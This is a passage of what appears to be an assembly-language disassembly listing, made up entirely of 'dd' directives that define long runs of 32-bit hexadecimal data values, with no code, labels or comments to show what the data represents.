		dd 48A1105Bh, 57293447h, 0A95AC4ECh, 305B0831h,	6BD1F701h
		dd 5B5DF10h, 213EC236h,	7C3AA301h, 4170138Bh, 96E39941h
		dd 0A9C7235Bh, 5166B312h, 718D220Dh, 109562Ch, 0F82B158h
		dd 19D1C757h, 3FEB10EBh, 0ECCAB2C2h, 6FBDB223h,	0C6E42D5Dh
		dd 0B22D91F6h, 0B58C6A58h, 34764EA2h, 8AC30497h, 0EB54824Ah
		dd 0A093C656h, 61F66620h, 0F4262468h, 605A25EEh, 0E9F30106h
		dd 0B0A9E093h, 0A9A4A235h, 38A402C3h, 0B1B9000Eh, 32078F16h
		dd 0C05C5BBAh, 59CA2920h, 5E902A68h, 0D08F30E6h, 26BF57C3h
		dd 2E099EE2h, 8506E7C1h, 0A8742FF5h, 2DFF1C84h,	0D0462A46h
		dd 205B4EA1h, 81009F36h, 3089BFF1h, 90CA31BAh, 5CE29E29h
		dd 0DAF0E938h, 7C382849h, 4ACC0408h, 0B01581B4h, 0C9BE00DAh
		dd 324C0155h, 0EF675B05h, 5C06200Fh, 23CBD80h, 83336C54h
		dd 217F01C5h, 2C4C2E75h, 5A0368F0h, 0AEF28C45h,	49FA2D14h
		dd 222000C2h, 0F5093B6Ch, 0A2819F5Eh, 7B4C75E4h, 0DED60C1Ch
		dd 721B550Bh, 0F5C14ABAh, 0A4093AA5h, 0F6F1E14Eh, 342FDDDAh
		dd 7C5A0A6Bh, 5C274C3h,	0E6C28D2Bh, 8708ADh, 56584419h
		dd 0F9FBD629h, 32D23AEDh, 87B0C84Ah, 0A39ABFD3h, 0EFF77549h
		dd 505E0B4Dh, 595B3279h, 0F8400CA6h, 581C00CBh,	247C294Eh
		dd 44B55F08h, 2444196h,	0B2775A11h, 0C2347664h,	0C90EF920h
		dd 581A5654h, 0A983C50Bh, 76249E2Bh, 69F092D3h,	92011322h
		dd 0C8030D4Bh, 98FAD731h, 10415A66h, 9578C025h,	58A77C1h
		dd 2D444995h, 0B851942Ah, 79E74A07h, 6058C617h,	7BDB2DC3h
		dd 68258A05h, 0CFF36AA5h, 166F1900h, 0F7E0D157h, 30A9D848h
		dd 0A9BF899Dh, 7DAF0C18h, 290BAABBh, 0C85FFB39h, 8B372703h
		dd 68A31869h, 2C674E0Dh, 5AC655B5h, 77A50832h, 410931D1h
		dd 9D98F1h, 0D1FA1BDh, 0A5B86181h, 0A70F2B0Bh, 14C532E9h
		dd 7A676B8h, 0B7B25548h, 0DED9EAD7h, 0E2A249B7h, 0E4839FBh
		dd 2827758Bh, 0B83E5073h, 0E90A80CEh, 0E169AD7h, 75FBB66h
		dd 0C3351D92h, 59E5E381h, 2A18ABE4h, 0A82C7013h, 7D9DEB11h
		dd 3E5BBCA2h, 41892D0Fh, 0F05564B9h, 18CB85BDh,	77A68681h
		dd 0B2C5240Ah, 0AAA038A1h, 4E5D5325h, 4F2D4246h, 4A487198h
		dd 0F9DC340Ch, 2D9848D9h, 82137111h, 23D86B5Ah,	0B80935F8h
		dd 80A03D76h, 17C3BE37h, 81140949h, 48415EEh, 580BC03Eh
		dd 0A05B8EA6h, 65ACA7A1h, 334913DEh, 0DFA157F9h, 2CFDDD55h
		dd 685F047Bh, 37EE7967h, 0E4D0F457h, 5960E727h,	1419CB9Bh
		dd 0C1050B18h, 258408EBh, 96D8A2DFh, 27048BB8h,	0EF346A3Dh
		dd 9F809725h, 76D408CDh, 8EF4585Ah, 4E2B2110h, 74D886E0h
		dd 7E5B772Ch, 38FA49D0h, 0F6E36628h, 28B40150h,	0B151C4FEh
		dd 0F5726BD7h, 0E9CE0314h, 754809FAh, 0B3B7567Fh, 0BB53C074h
		dd 0F5C0F0FCh, 2761097Bh, 7EEAE449h, 0EB172252h, 51342EB5h
		dd 0BB64AE9h, 495ABB77h, 0BF052AFFh, 7FBCBE0Ch,	0C0955D84h
		dd 0CB4D2A65h, 0F8293102h, 82E0C15Fh, 7E53CA9Bh, 0C4EA9261h
		dd 3C7DFB30h, 7128ACC1h, 0CF6271CBh, 0F2000B7Dh, 5C4DF8AEh
		dd 909E04B6h, 0FA3118B3h, 9007E27Eh, 0E39C02BCh, 0BFE92ADBh
		dd 21830E49h, 4C08E0C7h, 8C5CD3B2h, 0C861276Eh,	9C1EA22h
		dd 89C4B080h, 0BD5E8383h, 15B96903h, 0DA1CED35h, 9ECE7028h
		dd 0BF0C7151h, 0FC2CF615h, 11463FFh, 4FDE10D8h,	33D80327h
		dd 1814AC25h, 0D29B5B80h, 0E130A158h, 2E3A3C91h, 0E425EA01h
		dd 291920AFh, 21B75314h, 74997DFFh, 0FE22B380h,	562AE9C3h
		dd 607B54E7h, 0F1B83FCDh, 172D9160h, 900DA89h, 0BE42E488h
		dd 0C14C4F8h, 41FE3FDFh, 5B0803A8h, 67041E07h, 0B0FF248Eh
		dd 89D3116Bh, 83B2B48Ch, 5B410BE2h, 290479F1h, 0C1BA01F0h
		dd 31C46A21h, 895A2ED6h, 0B97608B0h, 0C1EED107h, 0E6320627h
		dd 88620905h, 720F81FEh, 4B9C2438h, 40F9E3D2h, 12628F29h
		dd 0B55F5AC4h, 685C709Dh, 92754225h, 0AA1043AFh, 203544F8h
		dd 68074D08h, 64E853D2h, 159113AEh, 682B0F36h, 8FB60CE3h
		dd 0EADE984h, 0CD315A02h, 54F52A40h, 20FC6205h,	88B2EB01h
		dd 38568C2h, 0BF659FD6h, 0D52A7BA1h, 0EDBE0436h, 4FF311E5h
		dd 6CE9D270h, 0C7008231h, 3CD5D77Ah, 186E8958h,	0B33AA1B2h
		dd 0D920016Eh, 0DEE1805Bh, 48A2F853h, 11EC37D8h, 42543E44h
		dd 0CC37F212h, 0C4B7581Ah, 0C9C52073h, 2AB7B880h, 0D7E0604Ah
		dd 0EF5A0FE5h, 3923167h, 0EDD7F128h, 0FECC09FBh, 0DDF6F71h
		dd 63CA2278h, 606A4086h, 6DF43DDEh, 0E2D3F8AAh,	5A5D92A2h
		dd 0C3F24A4Ch, 0A6F1455Bh, 8F40AAFCh, 0FA3F1118h, 5EF22529h
		dd 7DB6D470h, 18B4E189h, 4BD668B8h, 8013242Fh, 34C44EFh
		dd 928F2350h, 175B1112h, 13AD7F00h, 0FCE96968h,	2444DCBCh
		dd 35B109B9h, 3B71CD2Bh, 73483A27h, 26FD2A62h, 6B7C995Eh
		dd 0C255F725h, 374CF52h, 0A7F1054Fh, 0C8895Ah, 2075CEF5h
		dd 51C49202h, 4A6608EAh, 0A3D80530h, 68055570h,	74F72BD8h
		dd 124064C1h, 6EB25201h
		dd 37B528Bh, 0E950661Bh, 8B1FEDA8h, 4E135AB4h, 0BFC15812h
		dd 0EBDDD821h, 590E2CD3h, 0EF2C0BA8h, 3B8F872Fh, 4991AA3Eh
		dd 9E4B63D8h, 488720A2h, 0E817515Ch, 58A3DCF7h,	2C58317h
		dd 0EABFC08h, 57E9D529h, 0F0BFE320h, 284A8133h,	2D48BDC0h
		dd 0E1A306ECh, 0A2C1896Bh, 0D0972A4Eh, 0D43A2E60h, 0F1297E6Ah
		dd 580880CAh, 4EE9D9F7h, 76AB9151h, 1EA20743h, 0C036754Eh
		dd 0AF49E91Bh, 0A5C817EDh, 42C7E51Eh, 8D0E379h,	0A5CCCF97h
		dd 1CDF2E42h, 499D9E0Ch, 0E9CE8584h, 0C5D684B0h, 7E843500h
		dd 619F67F0h, 9DD985CEh, 5A5BE804h, 664998A7h, 0E96B684Fh
		dd 40D6B537h, 0D8F6BD70h, 2FBA7B34h, 8629AC83h,	5C8F9981h
		dd 0B8D342BBh, 647465CAh, 2B7255D9h, 0C166E912h, 70EAD025h
		dd 59F4AAA8h, 4EB20D5Eh, 0F37D4978h, 9366A35Ah,	2C618542h
		dd 3AA4FCE3h, 7C0CB34Fh, 0ED666826h, 1DE94804h,	5B07E3BCh
		dd 93545658h, 5F02F907h, 901688F6h, 2500784Eh, 24C832F0h
		dd 56986269h, 7E2AC29Dh, 2A2E288Eh, 20B09776h, 0B7F449B9h
		dd 0C38F1094h, 9A1A068Eh, 0E5FFC63h, 41308F2Ah,	96DE1E0h
		dd 19848D7h, 52AE9820h,	4110EB5Ah, 0BAA25AE6h, 0D32CD384h
		dd 814936D1h, 0D1E05003h, 3089A640h, 90745FF9h,	9D4C1906h
		dd 62250774h, 11B21449h, 8BC974BCh, 5D59444Ah, 0DDD30B1Fh
		dd 528544Bh, 9B528676h,	0F4FDE0B1h, 8B5EA63Ch, 5BED27B2h
		dd 8257344Ah, 0FE093541h, 18025917h, 8566485Ch,	0B7F540B4h
		dd 300FB40Dh, 885BFC04h, 86E266E1h, 32802440h, 0A2B826E9h
		dd 0F88DA1D7h, 0C3D15B66h, 0E96E307Fh, 44959695h, 9A8697C2h
		dd 292D158Bh, 0CCA2824Ch, 30C57B2Dh, 2EDEBA2Eh,	2E020C5Ch
		dd 8336EF2h, 0C587A3F7h, 7C719580h, 29860159h, 0EE6858C2h
		dd 58063373h, 0F372575h, 2C470252h, 5E8FFCA6h, 4CB680C7h
		dd 4A82FE3h, 7F68C3AFh,	4344915Dh, 15DD7BCCh, 8C4682ADh
		dd 75F10AA0h, 0BB47A90Ch, 4C310BF3h, 0DC4E11D3h, 3A3FC231h
		dd 0B43D826h, 220DE9DAh, 0E157515Bh, 252EA3D1h,	4E460D3Ch
		dd 60592CDDh, 9D621E6Ch, 31295225h, 0E9EBD180h,	71C13E74h
		dd 9A08A8F6h, 0C4CDD9CBh, 2D5B5E8Eh, 0B1128C5h,	0C35EC393h
		dd 5279E98Fh, 92D92FA6h, 2B697520h, 6976292Dh, 52E1C710h
		dd 0D8B01C46h, 580EF83Dh, 5E80EF28h, 79EC5957h,	2D095610h
		dd 0FEBECABAh, 30993E0Ch, 235948E8h, 928D243Eh,	0F972BF24h
		dd 2958880h, 12AC5816h,	4B7116B5h, 35BA5ADDh, 0F4A1A2CCh
		dd 0C1896C10h, 62C578BFh, 0B451136Ah, 4004FEABh, 5755762Eh
		dd 4F45CCC1h, 233C1872h, 0D02ABA12h, 0A34EA676h, 0C8319302h
		dd 60C70159h, 1FDDBEA6h, 0EC610833h, 0CC2800F1h, 72E99EF7h
		dd 0CA0EDFDCh, 5BD00B59h, 0BDA23D91h, 2E201CB0h, 0CD313FA9h
		dd 0CFC8D439h, 0EB636D6h, 43401598h, 1DB72F7h, 6AF381D3h
		dd 2F44D648h, 0A075DE01h, 0C12BBB54h, 6AF20164h, 1C88F704h
		dd 5065C212h, 58C731D5h, 415E6820h, 9C62DBAh, 1809E368h
		dd 259B4DFh, 0E929C480h, 91DD42C9h, 0C5A06DCEh,	54850F97h
		dd 706416C3h, 16348B4Fh, 5DF32283h, 13281F4Fh, 0D480A121h
		dd 689F9444h, 2540458Dh, 154146CBh, 0F5BF30D1h,	7C2FB6EAh
		dd 3D024696h, 0F8B1FD7h, 5059C1E9h, 6C0DE4Eh, 0E9448018h
		dd 782BF0Ch, 0EAD3505Eh, 0F279BA8h, 2692E410h, 0B93C885h
		dd 501A93F8h, 0A148DC8Ah, 3F6A88B3h, 8BEE8909h,	27AADE62h
		dd 82130F45h, 0D1E18885h, 79A61838h, 0A4EA8B0h,	0E913BEE3h
		dd 0EFCC5387h, 2E6847D0h, 4E99BF10h, 108B3CC3h,	5C2BC4BAh
		dd 635A2D85h, 849616E6h, 2FC8E941h, 5121727Bh, 0A2739675h
		dd 55BA6827h, 639F12BDh, 0EE201C22h, 6C298B20h,	0E76E8DDEh
		dd 48AB825Fh, 284AEF8Eh, 99DD0642h, 0E977EC7Bh,	68FD4F30h
		dd 0F7C32BFh, 0F9315D63h, 2B31518Dh, 0A2664080h, 55EF26C3h
		dd 0CE10B40h, 4393FBE8h, 60AC9199h, 0EB94608h, 19E5D901h
		dd 51F43323h, 745AE4CAh, 4DE6BB04h, 88564C4h, 0D3680BC0h
		dd 98CF7872h, 4C53201Ah, 5EEC10Bh, 4840D4Eh, 24B1E420h
		dd 0B0E6319h, 1B7E5EF5h, 609D7D9Ah, 0BFE47F84h,	29F2C9EBh
		dd 1B172373h, 167A5FF1h, 0E3420488h, 1A0C1899h,	0FC0A4B0h
		dd 2D676607h, 0A2ACDE64h, 0C5800E93h, 0CCF5640Bh, 9A2F5682h
		dd 0F83B42B0h, 0C6FE019Dh, 5A66F188h, 8C56F2C0h, 0D9F6EC06h
		dd 736787Ah, 0D13035F2h, 82CC355Ah, 0AC1E601h, 0F568E5F0h
		dd 46CC3B3Fh, 217ACE86h, 63C0E567h, 928505EDh, 0BD002874h
		dd 2F5E671Ch, 7E10964h,	661B800Bh, 80DFB551h, 372762C3h
		dd 0DE0903FCh, 6061F2B5h, 3CBB05D3h, 0B758E9DCh, 0B0B092D8h
		dd 89ECBFE5h, 0F959CD2Dh, 1868456Dh, 0C0C51E08h, 61EC151Bh
		dd 89EDC230h, 64767908h, 6A9AF18Eh, 0F0490F91h,	0B058B05h
		dd 3EAC1h, 8E4E382Bh, 0F221047Bh, 0EFDD3EE9h, 955F373Ch
		dd 0E989EB67h, 0C018C0F3h, 9AEAA3EDh, 4E92F75Ah, 87E7AD40h
		dd 4295342Dh, 0C409F58Dh, 8069D1FCh, 2B42AE6Ah,	97FEFE34h
		dd 7EE04EC0h, 5E13F617h, 104D74E0h, 103237Bh, 0DCA9C2FEh
		dd 4B6FF289h, 0EED65FADh, 0C6B41B42h, 0B7547F6Eh, 0B720A9B4h
		dd 89BA4FB5h, 0E6217EDEh, 0C06897E9h, 28684B1Ch, 0E8EC8021h
		dd 27F91349h, 450C229h,	0E2060AA9h, 1DEC2D09h, 6E30C03h
		dd 0F201C183h, 0B709F83Fh, 9B4BF045h, 61E19AF5h, 2CD359FEh
		dd 0C1F8D53Fh, 2006EDC1h, 7826A41Dh, 0E5134CFCh, 3FD9BB84h
		dd 0D96A9971h, 10D1728Ah, 810190BAh, 0A440D9EFh, 0F63DEDDBh
		dd 7C047A49h, 0DE90C4BEh, 0EB514DA2h, 0B9D5003Fh, 6D3D1D41h
		dd 8C08FF9Ch, 3B092C13h, 738B33A5h, 0B51283F8h,	0B8E9D028h
		dd 0E9E90496h, 6834D181h, 9D106E94h, 0A4658855h, 0B753005Dh
		dd 0C0CFFE6Bh, 2D4AE74Ch, 0BE9370C7h, 26952F51h, 0CCBA0832h
		dd 560503E3h, 0D1013D9Dh, 8281C0ACh, 4B041602h,	0BB0C49BEh
		dd 0B89103AFh, 1C9CC22h, 95E3EEh, 0E9465D08h, 299EE329h
		dd 1AD5B665h, 2EFE0985h, 875C0BC3h, 207AF8F3h, 9B97EA09h
		dd 78DCDAF3h, 4425CBE1h, 2F27CAAh, 183301FBh, 90161DCBh
		dd 69CF4F2h, 52E85B21h,	59938BABh, 0C11F89ABh, 0F2F042BAh
		dd 12E3E463h, 9D329D4h,	36117FCh, 10202047h, 0FC0DED0Bh
		dd 80AA8989h, 401DBDA1h, 9CDFE43h, 77E43141h, 75496E81h
		dd 0EF89D8ECh, 2041BBB0h, 0BE53842Fh, 22EA5934h, 0C5230C2Dh
		dd 0C1D102F1h, 7FAF4002h, 2526A440h, 0B03A8824h, 0B06E1E00h
		dd 0D0CB2930h, 0CB48081Ch, 0FC011440h, 0B7EDEEE9h, 0B8294A14h
		dd 0E02F95FEh, 0B94C03DEh, 0C4F169FDh, 66D49825h, 45B35B0Fh
		dd 8F8F0AFDh, 5E5C011Fh, 0D7F7FE87h, 0F03908BFh, 46BEC620h
		dd 14C5100h, 92206876h,	0DE926A8h, 95F85C0h, 0E1EE9CCAh
		dd 51C1560h, 7A8F59A6h,	91702437h, 0EEA39FAAh, 955D09CEh
		dd 71620C0Bh, 0D75A2AD1h, 0D252D09Eh, 8E9710CBh, 0D7B35300h
		dd 0D3F6EBD0h, 8A09AABEh, 3D7273C1h, 3DAA6A16h,	4E024B58h
		dd 63E96321h, 44B86980h, 50339E72h, 133DF75Dh, 1A30466Ch
		dd 258071B6h, 20D01DEEh, 281A664Ch, 0BBB4C9B1h,	27EB9F3Fh
		dd 740A5919h, 4A519E70h, 48548EB8h, 5C38202Eh, 0A4161F31h
		dd 0D60E304Ch, 51106275h, 0A901429h, 4F3D9450h,	3D9BB3DFh
		dd 0FCF51753h, 0B9E73ECh, 1E591BA7h, 2AB5C4CFh,	598948EDh
		dd 44148B04h, 0BE008DD7h
		dd 1EB24F46h, 64184D98h, 0C60CE029h, 8C041244h,	48ACC111h
		dd 0F6E214B9h, 49322F7Bh, 9F0962D3h, 8B0BD923h,	0A7662B9Ah
		dd 2AA774B3h, 6520C1F2h, 0DFF61500h, 5BD809E2h,	3ED71C2Dh
		dd 0C5898BFFh, 0E92AB9C6h, 38B0E0BCh, 0F737AE0Dh, 2130AE15h
		dd 0B7849A5Dh, 6818E494h, 17C10CE6h, 0BBE9BD1h,	0F0D9A4C1h
		dd 210F343Ch, 5C293EDDh, 32C1B115h, 0C1E61793h,	3F895897h
		dd 12623CBh, 69E96BA6h,	0B61F2BB2h, 4C4D694h, 63C92376h
		dd 7C030582h, 4EBB019Ah, 402AD778h, 138AE093h, 0FD81E75Eh
		dd 1722F72Fh, 2835B44Dh, 1B20EBB9h, 4BB96AE1h, 81C78047h
		dd 563112E6h, 0C77C2E66h, 511D8A3Ah, 51C2CD3h, 6E0C15Bh
		dd 3612B80h, 0EF374CF6h, 1D751274h, 35A8F044h, 0D55BCD01h
		dd 3C582D36h, 0C17AC1EAh, 8B1556DAh, 0F25A98E9h, 30B3ED1Ch
		dd 60826ED2h, 5E0889C5h, 0C952C91Dh, 928C7E2Ah,	0EBCFD75Fh
		dd 46D1994Fh, 5C147903h, 34F1C783h, 0A2F92160h,	44ECB213h
		dd 0EC144377h, 48AACB93h, 0B7F67580h, 42F23546h, 3063829Dh
		dd 0CF1E7CF9h, 0FA207DC4h, 0BA7FA531h, 0D496D12Bh, 0CAB32B0Ch
		dd 8F51C893h, 0C006E980h, 7AF381F1h, 25728913h,	4F5BDF12h
		dd 6DB97901h, 7470444Bh, 0D82180D5h, 0D6D947A3h, 0BB168398h
		dd 0F9C70E17h, 5087C383h, 0E56E7DCBh, 0BE8F864h, 82BF0F35h
		dd 650C2DE1h, 2E923D29h, 51EA302Ah, 2B0BC868h, 5906CEh
		dd 31D8343Bh, 0DC7095F9h, 0E9CA8904h, 9D99DB40h, 0F0854729h
		dd 7B32CADCh, 283F342Eh, 82C1C958h, 64A770D9h, 69A7F5C8h
		dd 2C1D50C8h, 0BC577195h, 4D513B5h, 0BDF1DBA6h,	2201126Ah
		dd 0B56E0DE4h, 59589594h, 47095B90h, 310A6C5Ch,	0C6C199F9h
		dd 4065F15Eh, 0ADB5EEE7h, 29FD100Fh, 80578CF7h,	0D6E9911h
		dd 0FD03FFC5h, 32D231DDh, 3C9812B5h, 4BF2F4CCh,	55869E29h
		dd 0FC03A37h, 2202196h,	8497B826h, 0AED0A35Fh, 63053504h
		dd 0C3907D3Fh, 0C502E983h, 0F4C87BFCh, 595E9594h, 54C50592h
		dd 678FA798h, 2B208BFEh, 874BD844h, 227F048Dh, 5509407Dh
		dd 0A3F66C00h, 217DA912h, 6DD2DFFCh, 8A012DF5h,	0AC69CB72h
		dd 532F25Eh, 0EA815FFAh, 0EF4135FAh, 11694D54h,	1E78F9AAh
		dd 8A41633Eh, 0A48C0E0Bh, 68660241h, 225F3144h,	55AAB3C9h
		dd 0CBFEE8C0h, 24B0EECDh, 0E82AD522h, 364097C7h, 0B727167Dh
		dd 44CDA41h, 783BE7E9h,	0CD6E4431h, 23E68807h, 0F9AB5AF7h
		dd 84CB85EFh, 24FCCAFh,	86D1F61Fh, 0E2DDE909h, 283A7EE4h
		dd 0B6C038DDh, 0F5214092h, 0FBCB2F8Eh, 0B3168357h, 0B1BB2EFh
		dd 307ABE68h, 9936506Ah, 0BF16BC5Fh, 0E14F32Dh,	0D3946630h
		dd 4A1C9DECh, 0E913FBCCh, 0D445D444h, 9B28FBCFh, 39112768h
		dd 98A246h, 0DFC334D4h,	12A6CB57h, 8E16FAD0h, 23972CB8h
		dd 0BA06EF92h, 1A85112h, 2D44F4A0h, 0D77277C4h,	34BC31B4h
		dd 0F48014D2h, 4E5A7139h, 29BB220Dh, 4C21E903h,	0FD025711h
		dd 17EEF61h, 833521D7h,	8B3ADC12h, 3CEC4A9Dh, 9894884h
		dd 0DB005D5Dh, 0A3CB8031h, 77EA2124h, 0EFDCB917h, 1738ED83h
		dd 0BC1BBC96h, 0E804EB86h, 37FF2E46h, 420E65A5h, 5B09BA92h
		dd 45760A86h, 59CA8A84h, 4B260F92h, 76D45389h, 6814C88Bh
		dd 28CEED57h, 1FA5F7Fh,	0CB20ECC5h, 0A0F50122h,	1CD0081Ch
		dd 7E994514h, 0A833333Ch, 94E19ABFh, 9F68625Dh,	9699D7Ch
		dd 2C2A549Fh, 4F68C2E7h, 49023075h, 5B742CDAh, 0E95F022Dh
		dd 297F8F41h, 0D6CB8319h, 68CD0B0Bh, 8CF4450Ch,	9A305B61h
		dd 98141F0h, 0EC7967C9h, 0D6F1BE00h, 277C8452h,	98C7E94Ch
		dd 3F2BA60Ch, 6880497Ah, 26886BBCh, 0E24FC15Ah,	0FEF272B4h
		dd 47AA2718h, 34116622h, 7D52E6FEh, 0B6058481h,	0D093EF31h
		dd 860C2A3h, 0BE569248h, 79530067h, 4E6C17Fh, 0D609874Eh
		dd 0A097E3E9h, 8835EFCBh, 0E3E5F4FEh, 69E567Eh,	10D2A5C9h
		dd 31F556A2h, 3B255943h, 0E274AA20h, 4F5D2F4Dh,	40B76764h
		dd 2F5E23F9h, 0D4525B64h, 9F0ADB20h, 2B74C142h,	0A5407128h
		dd 0D773EC50h, 0DC8E8173h, 10B86693h, 80483699h, 0BC5453C4h
		dd 9BF7D603h, 1BDC5D3Ch, 3022A007h, 0DD62F04Dh,	31FFB2CFh
		dd 1C25A6B4h, 596A092Fh, 424DAE1Ah, 0BEAA26Fh, 0CDE9AB63h
		dd 6E132F51h, 0E7319063h, 0A008E926h, 25F1066Bh, 0E70974Fh
		dd 1D31920h, 56596853h,	605B712Bh, 0E4B84307h, 0B3F83841h
		dd 81E69F67h, 338A396Eh, 26E1EDEDh, 35313F87h, 0FE733D13h
		dd 2E682078h, 5F29BDh, 0E842B557h, 36E2A078h, 7E840530h
		dd 1201EF83h, 298323A3h, 6C9106CDh, 324A33Ah, 9BC09E1Ch
		dd 0E247F001h, 0BF8C55E9h, 2773517Ch, 506905D0h, 5B573B2Dh
		dd 0A439ECD3h, 8756E013h, 51093312h, 0CC022D89h, 0B779729Dh
		dd 295ECFE8h, 8B956EEh,	0FB45D3Ah, 1E87D5F7h, 32C49057h
		dd 0F301CF60h, 288905Eh, 3E9210A6h, 187C8DE9h, 529C71AFh
		dd 545ADB5Eh, 546782B6h, 154417Eh, 95179ADh, 0C7DEB98Fh
		dd 5BD13144h, 5C01D72Eh, 0C31E4405h, 0B721868Fh, 647E252Ch
		dd 95CE961h, 8694F4Fh, 515E5098h, 0A57BCFB7h, 459FA064h
		dd 6826997h, 0E00FE732h, 0BC4D71F7h, 4097F610h,	0CCEC5317h
		dd 68228A61h, 1426042Ch, 7940C01Eh, 15F3312Dh, 57BC448Ch
		dd 1F7CF4E5h, 16452A3Fh, 0A79477h, 5C1C63BDh, 0E3A05F2Eh
		dd 79262C9Fh, 0F8A56B3Eh, 116D0781h, 0BAD6F768h, 62E90491h
		dd 0E20FAFAh, 0E4D3315Ch, 5008C4DAh, 823CBE53h,	0C6CE72E9h
		dd 1522E1C9h, 59F9B227h, 93519E46h, 30678DAAh, 0BE409C1Eh
		dd 0F2079201h, 743148F5h, 4B2DE280h, 0B0F870FEh, 66FD0A9Dh
		dd 900862h, 0F158BDBAh,	94592B7Ah, 89590F46h, 60D209F2h
		dd 3C0558D6h, 0B260C30h, 3A25C082h, 5F03570Fh, 969F505h
		dd 5AE9B927h, 58253F38h, 59E92A7Eh, 0D14F3F8Ch,	804AE9BEh
		dd 7235BD9Fh, 4D6AD7h, 7150B951h, 0CD09101Ah, 2F6E913h
		dd 0D784C9B9h, 0A7E9613Bh, 0BEC3002Ah, 0C5537B8h, 69A5998h
		dd 3E0968EEh, 5C65F030h, 2A2E2CCCh, 2474B3E0h, 8722A780h
		dd 0B20AD593h, 0CB94B00Ah, 53EDEC9h, 40559868h,	19BCBB44h
		dd 0F72822F0h, 5221DDDBh, 9F5895A0h, 8A5A615Ah,	40840407h
		dd 0D7E75EAFh, 0BE34C00Ch, 0DA3D560Fh, 0F910256Fh, 30BDBF30h
		dd 71845B17h, 0D7AAB4Fh, 9976A8A5h, 0EA60BFCAh,	5CA77C76h
		dd 0E286221h, 4DD19543h, 1094033Bh, 0E401206Dh,	7429E9C0h
		dd 4A2D16C4h, 0B99AD42h, 0C26DE9DAh, 4D4F84B3h,	2D0257B8h
		dd 441A3B57h, 60D59943h, 1FA0ED95h, 7E2D4B07h, 2692E4Ch
		dd 0FE3586EDh, 65D281A8h, 70B8479Bh, 2DE8647Eh,	13349916h
		dd 5C8AA05h, 0E9590701h, 10322380h, 93064524h, 0C0CEA25Dh
		dd 31F02D58h, 0B3064BE8h, 512F54h, 404A163Ah, 0C2BE1462h
		dd 854BD7B6h, 0FB0404F9h, 7640B85h, 9B920293h, 4CC54983h
		dd 0FAC4347Bh, 0D1F2FE21h, 1C05617Dh, 0D45F4303h, 2BC100C4h
		dd 94E318Fh, 209644B5h,	0BD00EF4Dh, 0BC29B5C3h,	1747C581h
		dd 13075B04h, 8FE102Bh,	1420E90Bh, 434A0246h, 9D9ECC4h
		dd 0CD250DBFh, 9B355B80h, 6D4F2F6Fh, 31EF41C4h,	34D8E993h
		dd 0F438808Bh, 0D1E625EFh, 0C804EBE8h, 0C9FB4F5h, 8A541181h
		dd 80F9E30Fh, 814956FEh, 479509C9h, 0D8054DA7h,	0F09C4EA9h
		dd 807E7EEBh, 62765625h, 60183725h, 4C6082AEh, 0CA251B3Ah
		dd 4B6FD436h, 54505522h
		dd 5BA5C251h, 645A9E0Dh, 0C1CF17CBh, 4102B913h,	0FE59CA0Fh
		dd 96C90B76h, 0C8368DAh, 16032C3Bh, 27C2E308h, 55B54225h
		dd 3C43E545h, 0C72B0284h, 0BAE706C2h, 6FF9A7C1h, 0BF5F6FC0h
		dd 72302C80h, 21C71729h, 0B9B757h, 5560540h, 11FCB0Bh
		dd 0DEFFC2C6h, 4E4CBB20h, 0E0EB4B17h, 0FE313134h, 0D31BC85Fh
		dd 0BF8928F0h, 5AE58F80h, 6F17B64Fh, 0C4C7FD87h, 4ACD874Fh
		dd 4CBEA006h, 0CC0177C5h, 0E9E80175h, 0E8032A36h, 0C2D2F75Ah
		dd 0F1A85030h, 0C0A52039h, 8B4B8C91h, 255A7B5Ch, 5CFB11FEh
		dd 0AB10FF63h, 9804BB6h, 483F652Ch, 2B067842h, 184F1066h
		dd 11C16C0Bh, 1241D4DCh, 0E220531h, 642CFA35h, 31464FF5h
		dd 5474122Dh, 0E43BFC08h, 5503BAC2h, 0B5096D1Ah, 545701B0h
		dd 90EE8495h, 57FA9DD4h, 6A2999A2h, 0D731C491h,	9240FAC9h
		dd 0B7807825h, 7EB91180h, 549E415Ch, 0FCFBBE50h, 296F2C7Dh
		dd 2F9C09CAh, 0E0825BE6h, 91D8FCCAh, 0CD8820h, 0EE0A0435h
		dd 6D752D65h, 57B2F01h,	180373EAh, 3C1FCA20h, 9158993Ch
		dd 4BA6E94Ah, 0D8B236BCh, 0DDC546EAh, 5E0BE7A0h, 0F43AF87Ah
		dd 0ABA5087Ah, 744D8920h, 58872732h, 54760223h,	0D9216DAAh
		dd 10FFA463h, 4835BB13h, 0CF639Dh, 88050306h, 816E953Bh
		dd 37187CF8h, 0BF0C16E2h, 6112507h, 8A0B1DEh, 7B140CD0h
		dd 0E210CB2Ah, 6A28C181h, 0B252D401h, 0B930C017h, 80DA3AF6h
		dd 3106BB0h, 255AA2E9h,	796DCDD0h, 0C7CCA09Eh, 148EE040h
		dd 0AEFB89F8h, 0E2308076h, 459F859Ah, 0AEF6C9A5h, 8001946Bh
		dd 0B0E73A3h, 0E4E94AADh, 46F7F5Eh, 45ED8F67h, 0EA540F0Eh
		dd 99D90772h, 0FE09447Eh, 16F56541h, 0D61C6DBh,	5B568741h
		dd 0CA587C62h, 0FDC18C3Dh, 96BE40DAh, 294EB156h, 0E95BF302h
		dd 0B2225D3Fh, 0E75F279Dh, 12F22F2Bh, 5B973922h, 3E40A5C1h
		dd 5E02DA09h, 0D2A0C58Eh, 66515C7Eh, 0E70AD52Ch, 445D339h
		dd 9B1564EFh, 2EA05A21h, 9C74F468h, 7FDB625Eh, 699BA40Fh
		dd 0C1CE5F98h, 1DE8BE1Bh, 231C3E67h, 0A272A6FEh, 44685182h
		dd 6996F178h, 0B2408590h, 17B8C495h, 53E70B8h, 20081072h
		dd 0B3E24DFBh, 989D839h, 50E8D15Bh, 802D052Fh, 0C1316320h
		dd 2EF2844Bh, 5C8BE1CAh, 45C3A67Ch, 301E1333h, 8284B2C8h
		dd 51E9068h, 0F4BC11E9h, 19A5C12Eh, 0F9E66FC2h,	4B9F6C6Bh
		dd 0E90CC0DBh, 0EE359C0Fh, 411D5EFh, 0ED41ECC9h, 0C362DEBCh
		dd 0E225D904h, 297BE0A0h, 0CC5BDA38h, 21828498h, 373CD9ABh
		dd 12B35AA4h, 4E8BBD13h, 0CCE552AEh, 0EC6AF4D8h, 0EB804DB6h
		dd 2E264370h, 316AC501h, 0C93981D1h, 49DE8A1h, 0F4B33CC9h
		dd 0F2DBBB59h, 9DB4C077h, 0E4E18851h, 9E916CAh,	0B3740F7h
		dd 0E6840FC9h, 4E957A9Ah, 0E9561644h, 295B56D7h, 51F1F52Ch
